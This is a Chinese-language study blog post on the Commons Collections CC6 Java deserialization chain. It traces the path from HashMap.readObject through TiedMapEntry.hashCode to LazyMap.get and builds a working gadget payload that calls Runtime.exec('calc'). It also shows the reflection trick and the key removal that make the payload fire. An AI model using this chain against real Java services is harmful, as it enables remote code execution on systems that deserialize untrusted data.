java反序列化学习-CC6

1. 背景介绍

JDK 8u71 版本中,针对 CC1 链中存在的反序列化漏洞进行了关键修复。其核心策略是封堵攻击者控制关键对象成员变量 (memberValues) 的路径,具体体现在两条主要利用链上:

1.  针对 AnnotationInvocationHandler.readObject()中 TransformedMap.checkSetValue()的利用链:
    修复方式:在 readObject 方法的反序列化过程中,彻底移除了对 TransformedMap 或其包装类执行 checkSetValue 操作的逻辑,从根源上切断了该链路的触发可能性。
2.  针对 AnnotationInvocationHandler.invoke() 中 LazyMap.get() 的利用链:
    修复方式:对 memberValues 字段的处理机制进行了根本性改变。该字段不再接收并信任反序列化数据流传入的值(避免客户端恶意构造)。取而代之的是,在 AnnotationInvocationHandler 内部通过反射 (java.lang.reflect.Field)来动态设置和获取 memberValues`的值。这确保了 memberValues 只能由运行时环境的真实类型来初始化和管理,杜绝了反序列化过程中攻击者赋予恶意值的风险。

正是 JDK 8u71 的这项关键修复——特别是通过反射在 AnnotationInvocationHandler 内部严格控制 memberValues 的赋值——使得直接利用 CC1 链中的 AnnotationInvocationHandler 变得不可行。然而,安全研究人员迅速寻找到了新的攻击路径:Commons Collections 6 (CC6) 链应运而生。CC6 链的核心创新在于避开了被修复的 AnnotationInvocationHandler,转而利用 TiedMapEntry 类作为新的入口点和连接点。TiedMapEntry 自身在其 readObjecttoString/hashCode 方法中(具体取决于链的构造),能够触发 LazyMap.get() 中的危险链式调用。这种方式巧妙地绕过了 JDK 8u71AnnotationInvocationHandler.memberValues 施加的安全限制。

2. CC6 调用链

3. CC6的实现

分析CC6链的调用流程,可以发现其核心触发点位于HashMap的反序列化过程,这与URLDNS链的触发机制高度相似:

  1. 入口点 (HashMap.readObject())

    • 当反序列化一个精心构造的HashMap对象时,其readObject()方法会遍历内部存储的所有键值对(Entry)。
    • 在遍历过程中,HashMap需要计算每个键(Key)的哈希值以确定其存储位置(或进行其他内部操作)。
  2. 关键调用 (HashMap.hash(key) / Key.hashCode())

    • 计算键的哈希值会调用key.hashCode()方法。
    • 在CC6链中,这个键被设置为一个恶意的TiedMapEntry对象。因此,实际触发的是TiedMapEntry.hashCode()方法。
  3. 恶意行为链 (TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get())

    • TiedMapEntry.hashCode()方法内部调用了this.getValue()
    • TiedMapEntry.getValue()方法接着调用了this.map.get(this.key)
    • 这里的this.map被设置为一个精心构造的LazyMap对象。因此,最终触发了LazyMap.get(Object key)方法。

接下来构造Payload,首先看下TideMapEntry的构造函数。

它的第一个参数是接收Map,第二个是key,因此我们这里把LazyMap放入map中即可,构造语句如下。

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
        HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");

URLDNS链类似,如果直接将构造好的完整恶意TiedMapEntry对象通过HashMap.put(key, value)方法加入HashMap,会在执行put操作的瞬间立即触发putVal()逻辑。这导致以下调用提前发生:

  • HashMap.hash(key) -> TiedMapEntry.hashCode() -> getValue() -> LazyMap.get()
    此时,LazyMap.get()中设置的恶意转换器(如ChainedTransformer)会立即执行命令,攻击行为在反序列化发生之前就完成了,这并非攻击者期望的延迟触发效果。为了防止这种提前执行,我们需要在将TiedMapEntry关联的LazyMapHashMap绑定时,暂时使用一个无害的“占位”Transformer,在put后在再通过反射修改回来,修改如下。
Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");


        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazeMap,chainedTransformer);

但此时发现还是无法弹出计算器,调试一下发现。

lazyMap中赋值的 aaa 在这里影响了if判断,没有进入语句中,因此我们这里需要删除aaa,最终payload如下。

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazeMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazeMap,chainedTransformer);

posted @ 2025-06-12 06:50  nago  阅读(41)  评论(0)    收藏  举报